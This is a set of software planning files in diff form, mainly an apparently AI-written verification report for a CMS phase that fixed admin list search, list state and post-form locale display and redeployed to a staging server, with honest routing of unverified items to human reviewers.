||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/smoke/list.smoke.test.ts
|
||||
- admin/tests/state/listState.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- docs/backend/forms.md
|
||||
- docs/backend/lists-and-filters.md
|
||||
- modules/cabana/README.md
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/query_relation_test.go
|
||||
- modules/phrasebook/backend/lang/en/lang.yaml
|
||||
- modules/phrasebook/backend/lang/pl/lang.yaml
|
||||
- scripts/check-phase10.sh
|
||||
covered_digest: "v2:sha256:7e043180d992853a3d04039e3304ee81d631fc8574eeec0e96264b3b6ad7873d"
|
||||
behavior_unverified: 0
|
||||
overrides_applied: 0
|
||||
human_verification:
|
||||
- test: "Install the hardened staging vhost as root: copy /srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf (host commits fc10094, 387d0f4) over /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl, run sudo nginx -t, reload nginx, and compare sha256 of the installed and uploaded copies"
|
||||
expected: "nginx -t passes; curl -sI https://uat.grzybyfunkcjonalne.pl/ (on the server, resolved to loopback) shows Content-Security-Policy-Report-Only, X-Content-Type-Options, X-Frame-Options, Referrer-Policy and Permissions-Policy; /gfadmin keeps its auth_basic exemption; smoke.sh --url still ends 'smoke: ok ('"
|
||||
why_human: "Needs root on the UAT server. Read-only check on 2026-10-09 23:00 UTC: the uploaded file has the CSP Report-Only header (count 1), the enabled vhost does not (count 0)"
|
||||
- test: "UAT posts list search: in /gfadmin/golem15/journal/posts search 'cordyceps' (a category name)"
|
||||
expected: "Rows appear; no 'The list could not be loaded.'; the Go log shows no SQLSTATE 42703 after 2026/10/09 22:47:29"
|
||||
why_human: "Needs UAT basic auth and an admin login. Automated proof covers the SQL on real Postgres (TestListRelationSearchPostgres) and a clean log since the restart, but the Go log does not record successful searches, so it cannot show that a search ran on the real categories pivot"
|
||||
- test: "UAT list state (D-01): set a sort and a category filter, open a post, press back; repeat with save-and-close; leave through the navigation rail and return; paste the URL in a new tab; log out and in"
|
||||
expected: "Sort and filter survive every return and are in the URL; the pasted URL shows the same list; after logout and login the list opens unfiltered"
|
||||
why_human: "Interactive flow behind UAT basic auth; the human report ('all works') predates the re-saves and the v0.1.17 deploy (which changed the storage key to be per admin), so it is not independent confirmation of the deployed build"
|
||||
- test: "UAT post form (D-03): open any imported post"
|
||||
expected: "The locale selector shows pl first; title, slug, content and excerpt are filled with the stored values"
|
||||
why_human: "Visual check on real data. Supporting evidence: the UAT locales table has en at sort_order 1 and the default pl at sort_order 2, the exact order the fix reorders, and enabledContentLocales is covered by 12 unit cases"
|
||||
- test: "Review the nine judgment-tier prohibitions in the Prohibitions section below"
|
||||
expected: "Each LLM-judge verdict (all 'not violated') is accepted or overturned"
|
||||
why_human: "unverified-prohibition: judgment tier, the verifier's verdict is non-authoritative"
|
||||
---
|
||||
|
||||
# Phase 16.1: Journal admin urgent fixes Verification Report
|
||||
|
||||
**Phase Goal:** The Journal posts list and post form in the admin work on real imported data found on UAT. The fixes are released as a summercms tag, the host is bumped, UAT is redeployed and the staging smoke re-runs.
|
||||
**Verified:** 2026-10-09T23:05:00Z
|
||||
**Status:** human_needed
|
||||
**Re-verification:** No, initial verification
|
||||
|
||||
All code, tests, tags, pushes and the deployed binary were checked against the repositories and the UAT server (read-only). Every automated must-have holds. What remains: the nginx vhost install, which needs root, and the browser checks on UAT that only a human can run.
|
||||
|
||||
## Goal Achievement
|
||||
|
||||
### Observable Truths
|
||||
|
||||
**Roadmap contract (success criteria derived from the goal)**
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 1 | List search no longer fails with "Server error" on a belongsToMany relation | ✓ VERIFIED | `modules/cabana/query.go:369-449` builds `EXISTS (SELECT 1 FROM pivot AS cabana_p0 JOIN related AS cabana_r0 ...)` from `stmt.Schema.Relationships.Relations[field]`. `TestListRelationSearchPostgres` passed against real Postgres (run here through the Docker sudo path). The UAT Go log has 0 `SQLSTATE 42703` lines in the 32 lines since the 22:47:29 restart. |
|
||||
| 2 | List sort and filters are remembered after opening a record and going back | ✓ VERIFIED | `ListView.vue:200-221` restores the stored query before the first request. `FormView.test.ts` "returning to the list keeps its query (D-01)" covers back, cancel, save-and-close and delete. 4 files / 144 tests pass; the full suite has 76 files / 1171 tests. |
|
||||
| 3 | The post form shows the stored content | ✓ VERIFIED (code) | `http.go:986-993` moves `DefaultLocale` to index 0. `TestEnabledLocalesDefaultFirst` (12 cases) passes. The UAT `golem15_translate_locales` table has `en` at sort 1 and the default `pl` at sort 2, which confirms the root cause the fix targets. The on-UAT visual check is a human item. |
|
||||
| 4 | The post form shows the stored excerpt | ✓ VERIFIED (code) | Same mechanism as #3: the excerpt lives in the host column, under the default locale. |
|
||||
| 5 | Released as a summercms tag | ✓ VERIFIED | `git ls-remote`: v0.1.16 is d8e3536 on d77393b; v0.1.17 is c37de45 on c21fe36. v0.1.17 contains 06d75cb, bd8626e, 9cac45c, a8bce9c, 837922c and cd25af0. |
|
||||
| 6 | Host is bumped | ✓ VERIFIED | Host HEAD 0b93ac2 equals origin/master. The journal gitlink is c60abc6, equal to sm-journal-plugin origin/main. The translate gitlink is 54cf93b, the vue app gitlink is ada03b2, and go.mod requires summercms v0.1.17. |
|
||||
| 7 | UAT is redeployed | ✓ VERIFIED | Server sha256 is `e5b0ad28…3af232` and `.prev` is `e1ba3587…148ceb` (the CR-01 hotfix). The Go and Nuxt processes started at 22:47:28 and 22:47:32 UTC. |
|
||||
| 8 | The staging smoke re-runs | ✓ VERIFIED | I re-ran it on the server myself (loopback resolve, GETs only): `smoke: ok (98 urls)` |
|
||||
|
||||
**16.1-01 must_haves**
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 9 | belongsToMany search goes through EXISTS, with names taken from GORM's parsed relationship | ✓ VERIFIED | `relationSubquery` uses `gorm.Statement.Parse` and `Relationships.Relations`. TestListRelationSQL covers custom `joinForeignKey`/`joinReferences` pivot names. |
|
||||
| 10 | hasMany, hasOne and belongsTo searches are correlated EXISTS; there is no outer JOIN, so a record is counted once | ✓ VERIFIED | `applyListSearch` (query.go:476-490). TestListRelationSQL checks there is no JOIN outside the subqueries next to `user_id = 7` and `id IN (3)`. The Postgres test gives total 1 for a post matching through 2 tags. |
|
||||
| 11 | A to-many sort uses `string_agg` plus the PK tiebreak; a to-one sort keeps the join | ✓ VERIFIED | query.go:313-336; TestListRelationSQL covers both directions; the Postgres test gives [2 1] and [1 2] |
|
||||
| 12 | Polymorphic relations and unknown columns give 422, never 500 | ✓ VERIFIED | query.go:378-390 refuses via `rel.Polymorphic` and `PrimaryValue`; TestListRelationSQL has 5 refusal cases |
|
||||
| 13 | meta.enabledLocales lists the default locale first | ✓ VERIFIED | http.go:986-993, TestEnabledLocalesDefaultFirst(Smoke) |
|
||||
| 14 | FormatHTML keeps imported raw HTML and dangerous markup is not stored on any write path | ✓ VERIFIED (superseded mechanism) | The plan's "refuses" became "strips" under the accepted decision note `notes/journal-html-sanitizing-bluemonday.md`, the CR-01 fix in a3551f2, which is stronger than the planned regex gate. All three write paths call FormatHTML: posts.go:213, import_posts.go:185, posts_helpers.go:511/567. Translations go through FormatTranslation (0d00ec8). Duplicate attributes are handled in 5f47083. TestFormatHTMLKeepsRawHTML and TestFormatHTMLSanitizesUnsafeHTML pass. |
|
||||
| 15 | List params stay in the URL; stored per list; an empty query is never stored | ✓ VERIFIED | `listState.ts`. The key is now `summer-admin.list:<adminId>:<controller>` (the WR-03 fix in cd25af0 is stricter than the plan's key). `writeListState` removes the key on an empty query. |
|
||||
| 16 | Entry without params restores before the first request; URL params win; logout removes every stored query | ✓ VERIFIED | ListView.vue watch; `clearUser()` calls `setListStateOwner(null)`, which removes all list keys. `main.ts:27` sends `onUnauthorized` to `expireSession`. Covered by vitest. |
|
||||
| 17 | Commits staged by path, holding only this plan's files; the journal commit in its own repo | ✓ VERIFIED | `git show --name-only` for 06d75cb, bd8626e and 9cac45c matches the plan. The one extra file in 9cac45c (`list.smoke.test.ts`) is a documented deviation. 528d2d8 is in sm-journal-plugin. |
|
||||
| 18 | go vet clean; smoke tests, vitest, TestDocsTree and the dist check green | ✓ VERIFIED | Re-run here: `go vet ./...` ok, both repos' vet ok, TestDocsTree ok, `check-admin-dist.sh` printed "matches a fresh build", vitest 1171/1171 |
|
||||
|
||||
**16.1-02 must_haves**
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 19 | An annotated tag containing every 16.1-01 commit is on origin | ✓ VERIFIED | v0.1.16 and v0.1.17 are both on origin (see #5) |
|
||||
| 20 | sm-journal-plugin main with the require is on origin; the host gitlink points at it; README and DEPLOY.md lost the re-save warning | ✓ VERIFIED | c60abc6 equals origin/main and requires v0.1.17. Host gitlink c60abc6. `grep -ci 'omitted\|re-sav'` gives 0 in both README.md and DEPLOY.md. |
|
||||
| 21 | UAT runs the build; sha256 matches; both programs run; `.prev` kept; smoke ok | ✓ VERIFIED | See #7 and #8. I could not compare against the local build byte for byte; the server hash matches the release record. |
|
||||
| 22 | After the restart, no SQLSTATE 42703 (and search returns rows) | ✓ VERIFIED (log + Postgres test) | 0 in 32 lines since 22:47:29. The human search on UAT is a human item. |
|
||||
| 23 | Posts 53 and 64 repaired: no placeholder, post 64 has its footer | ✓ VERIFIED | Read-only psql now prints `0:1`. The public page `/blog/ekstrakt-z-turkey-tail` renders `<footer class="author-footer" itemscope="" ...>`, and the footer CSS is in `entry.Djv1o0WC.css`. |
|
||||
| 24 | D-01 and D-03 checked on UAT by a human (end-of-phase check) | ? UNCERTAIN (human) | The human's report predates the re-saves and the v0.1.17 deploy, so it does not count as confirmation. Routed to Human Verification. |
|
||||
|
||||
**16.1-03 must_haves**
|
||||
|
||||
| # | Truth | Status | Evidence |
|
||||
|---|-------|--------|----------|
|
||||
| 25 | Every piece of 16.1 code has unit tests | ✓ VERIFIED | listState.test.ts, ListView/FormView/useAuth tests, TestListRelationSQL, TestEnabledLocalesDefaultFirst, FormatHTML tests, all passing |
|
||||
| 26 | Form back, cancel, save-and-close and delete land with the stored query, and the first request carries it | ✓ VERIFIED | FormView.test.ts D-01 block passes |
|
||||
| 27 | ListView entry logic: restore, URL wins, cleared controls, same-list navigation, 422, page clamp | ✓ VERIFIED | ListView.test.ts "list state entry logic (D-01)" passes. cd25af0 adds recovery from any failed restore (WR-02). |
|
||||
| 28 | listState helpers: prefix, malformed values dropped, empty query not stored, throwing storage, clear keeps the sidebar key | ✓ VERIFIED | listState.test.ts passes |
|
||||
| 29 | DryRun SQL matrix (custom pivot keys, self-reference, soft delete, polymorphic, bound and LIKE-escaped values, no outer JOIN, sorts) | ✓ VERIFIED | `--- PASS: TestListRelationSQL` |
|
||||
| 30 | enabledContentLocales cases | ✓ VERIFIED | `--- PASS: TestEnabledLocalesDefaultFirst` |
|
||||
| 31 | FormatHTML tests: imported HTML round-trips; no unsafe case survives | ✓ VERIFIED (superseded mechanism) | "Every unsafe case returns an error" became "every unsafe case is stripped" per the bluemonday decision. TestFormatHTMLSanitizesUnsafeHTML, TestFormatHTMLDuplicateAttributes, TestCheckHTML and TestFormatTranslation pass. |
|
||||
| 32 | Postgres tests exist and pass on a Docker host | ✓ VERIFIED | Re-run here: TestListRelationSearchPostgres, TestListQueryContract, TestPostsAdminResaveKeepsHTML, TestJournalAPITranslatedContentHTML and TestJournalImportTranslatedContentHTML all PASS |
|
||||
| 33 | vet, vitest, TestDocsTree and dist green | ✓ VERIFIED | See #18 |
|
||||
|
||||
**Score:** 32/33 truths verified (0 present-but-behavior-unverified; 1 uncertain, routed to a human)
|
||||
|
||||
### CONTEXT decisions accounted for
|
||||
|
||||
| Decision | Status | Where |
|
||||
|----------|--------|-------|
|
||||
| D-01 list state in the URL and localStorage, no server storage | ✓ | #2, #15, #16, #26-28; no migration, route or OpenAPI diff in 3ca6a0d..cd25af0 |
|
||||
| D-02 framework-level relation-search fix in cabana | ✓ | #1, #9-12, #17 |
|
||||
| D-03 content and excerpt shown without loss; re-save keeps HTML | ✓ code / ? UAT visual | #3, #4, #13, #14, #23; UAT visual is a human item |
|
||||
| D-04 tag, host bump, redeploy, smoke | ✓ (except the nginx vhost install) | #5-8, #19-21 |
|
||||
| D-05 three plans | ✓ | 01, 02 and 03 are all summarized |
|
||||
|
||||
### Post-review remediation (16.1-REVIEW.md)
|
||||
|
||||
| Finding | Status | Evidence |
|
||||
|---------|--------|----------|
|
||||
| CR-01 stored XSS | Fixed and deployed | sm-journal-plugin a3551f2 (bluemonday); the public layer uses sanitize-html (vue-journal-layer 5beb1c5, tag v0.1.1, pinned by vue app 27b3827) |
|
||||
| WR-01 "Data:" false refusal | Fixed | The regex gate is gone; TestFormatHTMLKeepsSchemeLikeText passes |
|
||||
| WR-02 restored query locks the list | Fixed | cd25af0: `loadList(restored)` forgets the query and loads the plain list once; there is a reset button |
|
||||
| WR-03 list state crosses admins | Fixed | cd25af0: per-admin keys; `clearUser` and `expireSession` clear them |
|
||||
| Audit W-1 / W-2 | Fixed | 0d00ec8 (FormatTranslation), 5f47083 (duplicate attributes); harness tests pass |
|
||||
| WR-04 relation SQL only DryRun-tested | Resolved in substance | TestListRelationSearchPostgres runs the EXISTS and string_agg SQL on real Postgres and passes |
|
||||
| WR-05 to-many sort order differs from display order | Open (warning) | `relatedSelectMany` still joins in Preload order (query.go:142, no ORDER BY). `docs/backend/lists-and-filters.md:62` still says the sort uses "the text the list shows". |
|
||||
| IN-01..03 | Open (info) | Not addressed |
|
||||
| Translate Secure cookie, app header hardening | Verified on UAT | `set-cookie: golem15.translate.locale=...; HttpOnly; Secure`; Nuxt at :3016 sends no X-Powered-By and no set-cookie |
|
||||
|
||||
### Required Artifacts
|
||||
|
||||
| Artifact | Expected | Status | Details |
|
||||
|----------|----------|--------|---------|
|
||||
| `modules/cabana/query.go` | EXISTS search and to-many sort from the parsed relationship | ✓ VERIFIED | Contains `Relationships.Relations`, `string_agg`, `EXISTS (SELECT 1 FROM`; called from ExecuteList (lines 121, 133) |
|
||||
| `modules/cabana/query_relation_test.go` | DryRun harness, smoke, matrix, Postgres test | ✓ VERIFIED | Its tests pass |
|
||||
| `modules/cabana/locale_order_test.go` | default-first tests | ✓ VERIFIED | Passes |
|
||||
| `../sm-journal-plugin/classes/format_html.go` | goldmark WithUnsafe behind a safety gate | ✓ VERIFIED | `WithUnsafe` plus the bluemonday `htmlPolicy` (supersedes the regex gate) |
|
||||
| `admin/src/state/listState.ts` | per-list browser storage | ✓ VERIFIED | Contains `summer-admin.list:`; imported by ListView.vue and useAuth.ts |
|
||||
| `../sm-grzybyfunkcjonalne-app/DEPLOY.md` | release and rollback procedure without the re-save warning | ✓ VERIFIED | Has `## Release`; the warning is removed |
|
||||
| `../sm-journal-plugin/go.mod` | require of the release tag | ✓ VERIFIED | `summercms v0.1.17`, with the replace to `../summercms.go` kept |
|
||||
| `admin/tests/state/listState.test.ts` | helper tests | ✓ VERIFIED | Passes |
|
||||
| `../sm-journal-plugin/posts_admin_smoke_test.go` | TestPostsAdminResaveKeepsHTML | ✓ VERIFIED | PASS on the Docker host |
|
||||
| `modules/boardwalk/dist/` | rebuilt SPA | ✓ VERIFIED | check-admin-dist.sh: matches a fresh build |
|
||||
|
||||
### Key Link Verification
|
||||
|
||||
| From | To | Via | Status |
|
||||
|------|----|-----|--------|
|
||||
| query.go applyListSearch/applyListOrder | GORM schema.Relationship | `stmt.Parse` + `Relationships.Relations[field]` | ✓ WIRED |
|
||||
| http.go enabledContentLocales | TranslationWriter.DefaultLocale | default moved to index 0 | ✓ WIRED |
|
||||
| ListView.vue watch | listState.ts read/writeListState | restore before the first request | ✓ WIRED |
|
||||
| sm-journal-plugin controllers/posts.go | classes.FormatHTML | content to content_html on admin save (line 213) | ✓ WIRED |
|
||||
| useAuth.ts clearUser / main.ts onUnauthorized | setListStateOwner(null) | logout and session expiry clear list keys | ✓ WIRED |
|
||||
| host plugins/golem15/journal gitlink | sm-journal-plugin origin/main | c60abc6 | ✓ WIRED |
|
||||
| host go.mod | ../summercms.go at the release tag | replace + require v0.1.17 | ✓ WIRED |
|
||||
| FormView.test.ts | ListView entry restore | `writeListState` then back navigation | ✓ WIRED |
|
||||
|
||||
### Data-Flow Trace (Level 4)
|
||||
|
||||
| Artifact | Data | Source | Real data | Status |
|
||||
|----------|------|--------|-----------|--------|
|
||||
| Posts list (search) | rows/meta | ExecuteList → GORM with EXISTS on the real pivot | Yes (Postgres test; UAT log clean) | ✓ FLOWING |
|
||||
| Post form ML fields | content/excerpt (pl) | hydrateMLRecord host columns under DefaultLocale; enabledLocales[0] = pl | Yes (UAT locales: pl default, en sort 1) | ✓ FLOWING (visual check is a human item) |
|
||||
| Public post 64 | content_html footer | UAT DB → Journal API → sanitize-html → v-html | Yes (footer rendered on the SSR page) | ✓ FLOWING |
|
||||
|
||||
### Behavioral Spot-Checks
|
||||
|
||||
| Behavior | Command | Result | Status |
|
||||
|----------|---------|--------|--------|
|
||||
| Relation SQL and locale order (pure) | `go test -run '^(TestListRelationSearchSmoke\|TestListRelationSQL\|TestEnabledLocalesDefaultFirst\|TestEnabledLocalesDefaultFirstSmoke)$' ./modules/cabana` | 4 PASS lines | ✓ PASS |
|
||||
| Journal classes | `go -C ../sm-journal-plugin test -v ./classes/` | 9 PASS, ok | ✓ PASS |
|
||||
| Relation search on real Postgres | Docker sudo path, `-run TestListRelationSearchPostgres\|TestListQueryContract` | PASS, PASS | ✓ PASS |
|
||||
| Admin re-save and translations keep or sanitize HTML | Docker sudo path, sm-journal-plugin named tests | 3 PASS | ✓ PASS |
|
||||
| List state vitest | `npm --prefix admin test` | 76 files, 1171 tests passed | ✓ PASS |
|
||||
| Dist drift | `bash scripts/check-admin-dist.sh` | matches a fresh build | ✓ PASS |
|
||||
| Docs | `go test ./cmd/summer -run TestDocsTree` | ok | ✓ PASS |
|
||||
| Browser storage confined | grep in admin/src outside useSidebar.ts and listState.ts | empty | ✓ PASS |
|
||||
|
||||
### Probe Execution
|
||||
|
||||
| Probe | Command | Result | Status |
|
||||
|-------|---------|--------|--------|
|
||||
| UAT on-server smoke | `CURL_HOME=$C scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` (via ssh, loopback resolve) | `smoke: ok (98 urls)` | PASS |
|
||||
| UAT data repair | read-only psql: placeholder count : post-64 footer | `0:1` | PASS |
|
||||
| UAT log | 42703 count since 2026/10/09 22:47:29 | 0 (32 lines) | PASS |
|
||||
| UAT binary | sha256sum bin/grzybyfunkcjonalne | e5b0ad28…3af232 | PASS |
|
||||
| Hardened vhost installed | grep CSP-Report-Only in /etc/nginx/sites-enabled/uat.grzybyfunkcjonalne.pl | 0 (uploaded copy: 1) | NOT INSTALLED (human item, needs root) |
|
||||
|
||||
### Requirements Coverage
|
||||
|
||||
The phase has no REQUIREMENTS.md IDs (Requirements: TBD), and REQUIREMENTS.md maps nothing to Phase 16.1, so no requirement is orphaned. The plans' `requirements:` fields name CONTEXT decisions D-01..D-04, which are covered above.
|
||||
|
||||
### Prohibitions (judgment tier, verdicts not authoritative; flagged as unverified-prohibition, human review recommended)
|
||||
|
||||
| # | Prohibition | LLM-judge verdict | Basis |
|
||||
|---|-------------|-------------------|-------|
|
||||
| 1 | Relation fix not Journal-specific; no consuming-application names in framework code or docs | not violated | The builder is generic over GORM relationships; grep for app names in the touched framework files is empty; TestDocsTree ok |
|
||||
| 2 | No server-side list state (table, migration, route) | not violated | No migration, route or API diff in summercms.go 3ca6a0d..cd25af0 |
|
||||
| 3 | Journal API content/content_html shapes unchanged | not violated | Only stored values change (sanitized); README says shapes and codes are unchanged |
|
||||
| 4 | cabana.RenderMarkdown stays safe-mode | not violated | `modules/cabana/field_markdown.go` has no WithUnsafe |
|
||||
| 5 | No write SQL on UAT; only human re-saves of 53/64 | not violated (from records) | Records show read-only psql only; cannot be proven after the fact |
|
||||
| 6 | Live Winter site, vhost, php-fpm and PHP DB untouched | not violated (from records) | The vhost was not installed; there is no evidence of live-site edits |
|
||||
| 7 | No credentials requested, printed or committed | not violated (from records) | SUMMARYs hold no secrets |
|
||||
| 8 | Tests touch no UAT, network or shared DB | not violated | DryRun on DSN port 1; testcontainers for Postgres |
|
||||
| 9 | Tests not weakened | not violated | Refuse cases became strip cases under the accepted bluemonday decision, and the payload set grew to 35 |
|
||||
|
||||
### Anti-Patterns Found
|
||||
|
||||
| File | Line | Pattern | Severity | Impact |
|
||||
|------|------|---------|----------|--------|
|
||||
| (phase files) | - | TBD/FIXME/XXX/TODO/HACK | none found | - |
|
||||
| `docs/backend/lists-and-filters.md` | 62 | Docs claim a to-many sort uses "the text the list shows" but the display order is Preload order (WR-05) | ⚠️ Warning | A list sorted by categories can look out of order; docs inaccurate |
|
||||
| `../sm-grzybyfunkcjonalne-app/sm-grzybyfunkcjonalne-app` | - | 46 MB untracked, not-ignored binary in the host repo root (built 2026-10-10 00:50 local) | ℹ️ Info | Could be committed by accident; not part of any commit |
|
||||
| `.planning/phases/16.2-.../16.2-05-PLAN.md` (via ROADMAP line 1014) | - | Plans to cut "summercms tag v0.1.17", which 16.1 already used | ℹ️ Info | 16.2's release must pick the next free tag (v0.1.18) |
|
||||
| UAT Journal API | - | With no locale given (and with Accept-Language pl-PL), the API sets `golem15.translate.locale=en` although the default is pl and en has sort_order 1 | ℹ️ Info | Outside 16.1 scope; may be pre-existing translate behavior; worth a look |
|
||||
| `16.1-VALIDATION.md`, `16.1-SECURITY.md` | - | Still say "Docker-host suites pending" / sign-off unchecked | ℹ️ Info | Stale bookkeeping: the Docker-host suites have now passed |
|
||||
|
||||
### Human Verification Required
|
||||
|
||||
#### 1. Install the hardened staging vhost (root)
|
||||
**Test:** Install `/srv/grzybyfunkcjonalne/deploy/grzybyfunkcjonalne-staging.conf` (host fc10094, 387d0f4) as the uat vhost, then run `nginx -t` and reload.
|
||||
**Expected:** The security headers and CSP Report-Only appear on UAT responses, the `/gfadmin` auth_basic exemption still holds, and the smoke still passes.
|
||||
**Why human:** It needs root on the server. Today the enabled vhost does not have CSP-RO.
|
||||
|
||||
#### 2. UAT posts list search
|
||||
**Test:** Search "cordyceps" in `/gfadmin/golem15/journal/posts`.
|
||||
**Expected:** Rows appear and no SQLSTATE 42703 shows up in the log.
|
||||
**Why human:** It needs basic auth and an admin login. The Go log does not record successful queries.
|
||||
|
||||
#### 3. UAT list state round trip (D-01)
|
||||
**Test:** Set a sort and a category filter. Go open post → back, then save-and-close, then rail navigation. Paste the URL in a new tab. Log out and back in.
|
||||
**Expected:** State is kept and visible in the URL. After logout and login the list opens unfiltered.
|
||||
**Why human:** It is an interactive flow. The earlier human report predates the v0.1.17 deploy.
|
||||
|
||||
#### 4. UAT post form locales and fields (D-03)
|
||||
**Test:** Open an imported post.
|
||||
**Expected:** `pl` is first, and title, slug, content and excerpt are filled.
|
||||
**Why human:** It is a visual check on real data.
|
||||
|
||||
#### 5. Judgment-tier prohibitions
|
||||
**Test:** Review the nine verdicts above.
|
||||
**Expected:** Accept or overturn each one.
|
||||
**Why human:** The verifier's verdicts are not authoritative.
|
||||
|
||||
### Gaps Summary
|
||||
|
||||
There are no blocking gaps. Every roadmap criterion and plan must-have I could check automatically holds in the code, the tests (including the Docker-backed Postgres suites, which I re-ran), the tags and pushes, and the deployed UAT server (binary hash, smoke, log, SQL, public headers, post-64 footer). Two plan wordings were superseded by stricter post-review fixes, and both are recorded in an accepted decision note or a commit:
|
||||
- FormatHTML now strips unsafe markup with bluemonday instead of refusing it with a regex.
|
||||
- List-state keys are now scoped per admin.
|
||||
|
||||
Still open:
|
||||
- **Human items:** the root-only nginx vhost install, and the three UAT browser checks.
|
||||
- **WR-05:** a non-blocking warning. The docs sentence on to-many sort order is inaccurate.
|
||||
|
||||
---
|
||||
|
||||
_Verified: 2026-10-09T23:05:00Z_
|
||||
_Verifier: Claude (msd-verifier)_
|
||||
@@ -0,0 +1 @@
|
||||
No external API integration: internal admin list, form locale and HTML renderer fixes; the Journal API is named only to keep its response shapes unchanged.
|
||||
@@ -0,0 +1,13 @@
|
||||
# Phase 16.1 deferred items
|
||||
|
||||
Out-of-scope findings logged during execution. They were not fixed here.
|
||||
|
||||
## From 16.1-01
|
||||
|
||||
- `scripts/check-phase10.sh --hygiene` refuses 5 findings, all in files this plan does not touch. Because the clean scratch copy fails, `--self-test` also refuses ("self-test hygiene rejected the clean scratch copy"):
|
||||
- `admin/src/api/files.ts:150`: `new XMLHttpRequest()` outside `admin/src/api/client.ts`.
|
||||
- `admin/src/api/files.ts`: an unexpected file in `admin/src/api`.
|
||||
- `admin/src/components/form/fields/FileCaptionModal.vue`, `admin/src/components/form/fields/MLField.vue` and `admin/src/components/form/mlLocale.ts`: not imported by any test.
|
||||
|
||||
The browser-storage rule that plan 01 changed passes: `listState.ts` is allowed, and `listState.ts` is imported by `admin/tests/list/ListView.test.ts`.
|
||||
- Each Docker-backed test in `modules/cabana` fails on this machine with "permission denied" on the Docker socket (217 failures in `go test ./modules/cabana`, each reporting a Docker error). This is the known environment limit; run that suite on a machine with Docker before the plan 02 tag.
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,548 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 01
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- modules/pact/capabilities.go
|
||||
- modules/pact/README.md
|
||||
- modules/cabana/field_type.go
|
||||
- modules/cabana/field_type_upload.go
|
||||
- modules/cabana/field_type_smoke_test.go
|
||||
- modules/cabana/form_schema.go
|
||||
- modules/cabana/schema_types.go
|
||||
- modules/cabana/registry.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/crud.go
|
||||
- modules/cabana/field_ml.go
|
||||
- modules/cabana/tx_context.go
|
||||
- modules/cabana/list_schema.go
|
||||
- modules/cabana/settings.go
|
||||
- modules/cabana/relation_form.go
|
||||
- modules/cabana/extension.go
|
||||
- modules/cabana/relation_field.go
|
||||
- modules/cabana/admin_openapi.go
|
||||
- modules/cabana/security_coverage_test.go
|
||||
- modules/cabana/README.md
|
||||
- admin/openapi/admin.json
|
||||
- admin/src/api/schema.d.ts
|
||||
- admin/src/api/types.ts
|
||||
- admin/src/app/fieldTypes.ts
|
||||
- admin/src/app/pluginAssets.ts
|
||||
- admin/src/main.ts
|
||||
- admin/src/views/LoginView.vue
|
||||
- admin/src/views/FormView.vue
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/src/components/form/registry.ts
|
||||
- admin/src/components/form/FieldRenderer.vue
|
||||
- admin/src/components/form/PreviewField.vue
|
||||
- admin/src/components/form/FormField.vue
|
||||
- admin/src/components/form/FormGrid.vue
|
||||
- admin/src/components/form/formState.ts
|
||||
- admin/src/components/form/mlLocale.ts
|
||||
- admin/src/components/form/formContext.ts
|
||||
- admin/src/components/form/fields/PluginField.vue
|
||||
- admin/src/components/form/fields/MLPluginField.vue
|
||||
- admin/src/components/relation/RelationChildModal.vue
|
||||
- admin/tests/form/PluginField.test.ts
|
||||
- admin/tests/form/FormField.test.ts
|
||||
- admin/tests/form/formState.test.ts
|
||||
- modules/boardwalk/dist
|
||||
- docs/backend/field-types.md
|
||||
- docs/backend/forms.md
|
||||
autonomous: false
|
||||
requirements: [D-03, D-06, D-10, D-11, D-12, D-13, D-14, D-15, D-18]
|
||||
estimate:
|
||||
tokens: 140000
|
||||
raw_tokens: 140000
|
||||
tasks: 4
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-11: a plugin registers a value-bearing admin field type under a short alias (pact.HasFormFieldTypes); boot fails with a message naming both owners when two plugins claim one alias, and fails when an alias equals a cabana core type (text, markdown, mlmarkdown, widget, partial and the rest of formFieldTypes)."
|
||||
- "D-12.1: a plugin-typed field accepts the general field keys plus the type's own Options keys; any other key, and any CheckOptions error, fails boot naming the field and the type."
|
||||
- "D-12.2 and D-10: a save runs the type's Decode inside the save transaction after the record is loaded, for the host value and for every non-default locale value of a translatable type, and stores the returned pact.FormFieldDecoded Value; a pact.FormFieldError is a 422 validation_failed on that field and nothing is written; any other plugin error is an opaque 500 without the plugin's text."
|
||||
- "D-10 (framework half, amended 2026-10-10): a Decode may return pact.FormFieldNotice values next to the value it stores (for example what a sanitizer removed); cabana localizes them in the request locale and answers the create or update with meta.notices [{field, locale, message}]; a save whose Decode calls returned no notice answers exactly today's JSON (no notices key); the admin SPA shows each notice under its field and in the saved toast, and reloads the stored value from the response into the form and the element."
|
||||
- "D-12.3: Show and the save response serve each plugin field through the type's Load (per locale for a translatable type)."
|
||||
- "D-12.4: a list column typed with a plugin alias shows the type's ListValue string."
|
||||
- "D-03 (server half): on update, a submitted value equal to the value the form was served for that field and locale is not decoded and not written, neither to the host column nor as a translation."
|
||||
- "D-14 and D-06: a translatable plugin type exchanges a locale to string map and is stored through cabana's existing ML lift, translation writer and hydrate path; a plugin implements no locale storage."
|
||||
- "Companion writes: Form hooks read the values a save actually wrote, per field and locale, through cabana.FieldWritesFromContext."
|
||||
- "D-13: after login the admin SPA loads every registered field type's scripts once and its stylesheets globally (never disabled on navigation); a field with an element renders through PluginField (MLPluginField when translatable) in any controller's form, binds the element's value property and takes summer-change events as the new form value."
|
||||
